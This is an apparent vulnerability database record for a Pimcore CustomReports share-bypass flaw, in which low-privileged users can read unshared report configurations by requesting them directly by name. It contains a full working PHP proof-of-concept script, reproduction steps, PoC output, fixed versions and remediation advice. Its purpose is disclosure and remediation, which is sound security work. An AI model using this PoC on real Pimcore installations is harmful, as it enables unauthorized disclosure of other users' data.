{"id":"CVE-2026-45704","aliases":["GHSA-jwcc-gv4m-93x6"],"url":"https://o3.security/vulnerability/CVE-2026-45704","summary":"Pimcore: CustomReports Share Bypass","details":"### Summary\n\n`CustomReports` uses inconsistent authorization between the report listing endpoint and the report detail endpoint.\n\n- The listing flow filters reports based on report-sharing rules\n- The detail flow only checks generic `reports` or `reports_config` permissions\n\nAs a result, a low-privileged backend user who was not granted access to a report can still read that report directly by name even though it does not appear in the user's visible report list.\n\nIn the local Docker reproduction:\n\n- The report `poc-secret-report` was not visible to the low-privileged user in the report list\n- The same user was still able to retrieve the report configuration directly by name\n\n### Root Cause\n\nThe listing flow in `getReportConfigAction()` filters reports through `loadForGivenUser()`:\n\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L245)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L252)#L245)\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L253)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L252)\n- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L253)\n- [[Config/Listing/Dao.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L44)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/[Config/Listing/Dao.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L52)#L44)\n- [Config/Listing/Dao.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L52)\n\nHowever, `getAction()` only checks generic permissions and then loads the report directly by name:\n\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L146)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L149)#L146)\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L151)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L155)#L149)\n- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L151)\n- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L155)\n\nThis means the same report object is protected by different authorization models depending on which endpoint is used. The result is a classic \"not visible in list, but readable by direct request\" access-control bypass.\n\n### Impact\n\nAn attacker can read sensitive report metadata without authorization, including:\n\n- Report name\n- Grouping information\n- Display and icon metadata\n- Data source configuration\n- Column configuration\n- Sharing settings\n\nFrom the source code, other report endpoints such as `data`, `chart`, `create-csv`, and `download-csv` also resolve reports by name in a similar way:\n\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L275)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L284)#L275)\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L313)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L284)\n- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L313)\n\nThis report only treats unauthorized report-config retrieval as reproduced. The other execution paths should be verified separately.\n\n### Preconditions\n\n- The attacker is an authenticated backend user\n- The attacker has the `reports` permission\n- The target report is not globally shared and is not shared with that user or the user's roles\n\n### PoC\n\n```php\n<?php\ndeclare(strict_types=1);\n\nuse Pimcore\\Bundle\\CustomReportsBundle\\Controller\\Reports\\CustomReportController;\nuse Pimcore\\Controller\\UserAwareController;\nuse Pimcore\\Model\\User;\nuse Pimcore\\Model\\Tool\\SettingsStore;\nuse Pimcore\\Security\\User\\TokenStorageUserResolver;\nuse Pimcore\\Security\\User\\User as SecurityUser;\nuse Pimcore\\Serializer\\Serializer as PimcoreSerializer;\nuse Pimcore\\Tool\\Authentication;\nuse Symfony\\Component\\DependencyInjection\\ContainerInterface;\nuse Symfony\\Component\\HttpFoundation\\Request;\nuse Symfony\\Component\\HttpFoundation\\RequestStack;\nuse Symfony\\Component\\Security\\Core\\Authentication\\Token\\UsernamePasswordToken;\nuse Symfony\\Component\\Security\\Core\\Authentication\\Token\\Storage\\TokenStorage;\n\nrequire dirname(__DIR__) . '/vendor/autoload.php';\n\ndefine('PIMCORE_PROJECT_ROOT', dirname(__DIR__));\n\ntry {\n    \\Pimcore\\Bootstrap::bootstrap();\n\n    $kernel = new \\App\\Kernel('dev', true);\n    \\Pimcore::setKernel($kernel);\n    $kernel->boot();\n\n    $container = $kernel->getContainer();\n\n    /** @var RequestStack $requestStack */\n    $requestStack = getService($container, [\n        RequestStack::class,\n        'request_stack',\n    ]);\n\n    $admin = User::getByName('admin');\n    if (!$admin instanceof User) {\n        fail('admin user is missing');\n    }\n\n    $auditor = User::getByName('auditor_customreports');\n    if (!$auditor instanceof User) {\n        $auditor = new User();\n        $auditor->setParentId(0);\n        $auditor->setName('auditor_customreports');\n    }\n\n    $auditor->setAdmin(false);\n    $auditor->setActive(true);\n    $auditor->setPassword(Authentication::getPasswordHash('auditor_customreports', 'auditor-pass'));\n    $auditor->setPermissions(['reports']);\n    $auditor->setRoles([]);\n    $auditor->save();\n\n    $timestamp = time();\n    SettingsStore::set(\n        'poc-secret-report',\n        json_encode([\n            'name' => 'poc-secret-report',\n            'niceName' => 'PoC Secret Report',\n            'group' => 'Audit',\n            'dataSourceConfig' => [['type' => 'sql']],\n            'columnConfiguration' => [],\n            'shareGlobally' => false,\n            'sharedUserNames' => ['admin'],\n            'sharedRoleNames' => [],\n            'menuShortcut' => true,\n            'creationDate' => $timestamp,\n            'modificationDate' => $timestamp,\n        ], JSON_THROW_ON_ERROR),\n        SettingsStore::TYPE_STRING,\n        'pimcore_custom_reports'\n    );\n\n    $tokenResolver = buildTokenResolver($auditor);\n    $controller = wireController(new CustomReportController(), $container, $tokenResolver);\n\n    $listRequest = new Request();\n    $requestStack->push($listRequest);\n    $listResponse = $controller->getReportConfigAction($listRequest);\n    $requestStack->pop();\n    $listData = json_decode($listResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);\n\n    $getRequest = new Request(['name' => 'poc-secret-report']);\n    $requestStack->push($getRequest);\n    $getResponse = $controller->getAction($getRequest);\n    $requestStack->pop();\n    $getData = json_decode($getResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);\n\n    $listedNames = array_map(static fn (array $item): string => $item['name'], $listData['reports'] ?? []);\n\n    echo json_encode([\n        'vulnerability' => 'customreports_share_bypass',\n        'user' => [\n            'id' => $auditor->getId(),\n            'name' => $auditor->getName(),\n            'permissions' => $auditor->getPermissions(),\n        ],\n        'target_report' => [\n            'name' => 'poc-secret-report',\n            'shared_to' => ['admin'],\n            'share_globally' => false,\n        ],\n        'result' => [\n            'report_visible_in_list' => in_array('poc-secret-report', $listedNames, true),\n            'listed_report_names' => $listedNames,\n            'direct_get_returned_name' => $getData['name'] ?? null,\n            'direct_get_shared_user_names' => $getData['sharedUserNames'] ?? null,\n        ],\n    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;\n} catch (Throwable $e) {\n    fail(sprintf(\n        '%s: %s in %s:%d%s',\n        $e::class,\n        $e->getMessage(),\n        $e->getFile(),\n        $e->getLine(),\n        $e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''\n    ));\n}\n\nfunction wireController(\n    UserAwareController $controller,\n    ContainerInterface $container,\n    TokenStorageUserResolver $tokenResolver\n): UserAwareController\n{\n    $controller->setContainer($container);\n    $controller->setTokenResolver($tokenResolver);\n\n    if (method_exists($controller, 'setPimcoreSerializer')) {\n        /** @var PimcoreSerializer $serializer */\n        $serializer = getService($container, [\n            PimcoreSerializer::class,\n            'Pimcore\\\\Serializer\\\\Serializer',\n        ]);\n        $controller->setPimcoreSerializer($serializer);\n    }\n\n    return $controller;\n}\n\nfunction buildTokenResolver(User $user): TokenStorageUserResolver\n{\n    $tokenStorage = new TokenStorage();\n    $proxyUser = new SecurityUser($user);\n    $token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());\n    $tokenStorage->setToken($token);\n\n    return new TokenStorageUserResolver($tokenStorage);\n}\n\nfunction getService(ContainerInterface $container, array $ids): mixed\n{\n    foreach ($ids as $id) {\n        try {\n            if ($container->has($id)) {\n                return $container->get($id);\n            }\n        } catch (Throwable) {\n        }\n    }\n\n    fail('Unable to resolve service: ' . implode(', ', $ids));\n}\n\nfunction fail(string $message): never\n{\n    fwrite(STDERR, $message . PHP_EOL);\n    exit(1);\n}\n\n```\n\n\n\n### Reproduction Steps\n\n1. Create a low-privileged user named `auditor_customreports` with the `reports` permission.\n2. Create a report named `poc-secret-report` with:\n   - `shareGlobally = false`\n   - `sharedUserNames = ['admin']`\n3. As `auditor_customreports`, request the visible report list and verify that `poc-secret-report` is absent.\n4. As the same user, call `getAction(name=poc-secret-report)` directly.\n5. Verify that the response still contains the report configuration.\n\nReproduction command:\n\n```bash\ncd pimcore-12.3.3-repro\ndocker compose exec -T php php poc_customreports.php\n```\n\n### Reproduction Result\n\nRelevant PoC output:\n\n```json\n{\n  \"vulnerability\": \"customreports_share_bypass\",\n  \"user\": {\n    \"name\": \"auditor_customreports\",\n    \"permissions\": [\n      \"reports\"\n    ]\n  },\n  \"target_report\": {\n    \"name\": \"poc-secret-report\",\n    \"shared_to\": [\n      \"admin\"\n    ],\n    \"share_globally\": false\n  },\n  \"result\": {\n    \"report_visible_in_list\": false,\n    \"listed_report_names\": [],\n    \"direct_get_returned_name\": \"poc-secret-report\",\n    \"direct_get_shared_user_names\": [\n      \"admin\"\n    ]\n  }\n}\n```\n\nThis shows that:\n\n- The current user cannot see the report in the visible report list\n- The same user can still retrieve the report configuration directly\n\nThis confirms that the share-bypass issue is practically exploitable.\n\n### Security Impact\n\n- Unauthorized disclosure of report configuration\n- Disclosure of sharing scope and internal report structure\n- Potential leakage of data-source and query organization details\n- Useful reconnaissance for follow-on unauthorized execution or export paths\n\n### Remediation\n\n1. Add object-level sharing checks to `getAction()` equivalent to `loadForGivenUser()`.\n2. Centralize authorization into a single \"can current user access this report?\" function reused by `get`, `data`, `chart`, `create-csv`, and `download-csv`.\n3. Return `403` for unshared reports.\n4. Add regression tests to ensure that users with `reports` permission but without report-sharing access cannot retrieve report details.","published":"2026-07-17T19:12:50.888Z","modified":"2026-08-12T03:51:34.991933720Z","cvss":null,"epss":{"score":0.00427,"percentile":0.36442,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"pimcore/pimcore","fixedVersion":"12.3.6"},{"ecosystem":"Packagist","name":"pimcore/pimcore","fixedVersion":"11.5.17"},{"ecosystem":"Packagist","name":"pimcore/pimcore","fixedVersion":"2026.1.2"}],"fix":{"url":"https://github.com/pimcore/pimcore/commit/1893ff1cd116e442b995ddf17e8c6e0aa372268e","label":"pimcore/pimcore@1893ff1"},"references":[{"type":"WEB","url":"https://github.com/pimcore/pimcore/releases/tag/v12.3.6"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45704.json"},{"type":"ADVISORY","url":"https://github.com/pimcore/pimcore/security/advisories/GHSA-jwcc-gv4m-93x6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45704"},{"type":"FIX","url":"https://github.com/pimcore/pimcore/commit/1893ff1cd116e442b995ddf17e8c6e0aa372268e"},{"type":"FIX","url":"https://github.com/pimcore/pimcore/pull/19099"},{"type":"PACKAGE","url":"https://github.com/pimcore/pimcore"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:34.991933720Z"}}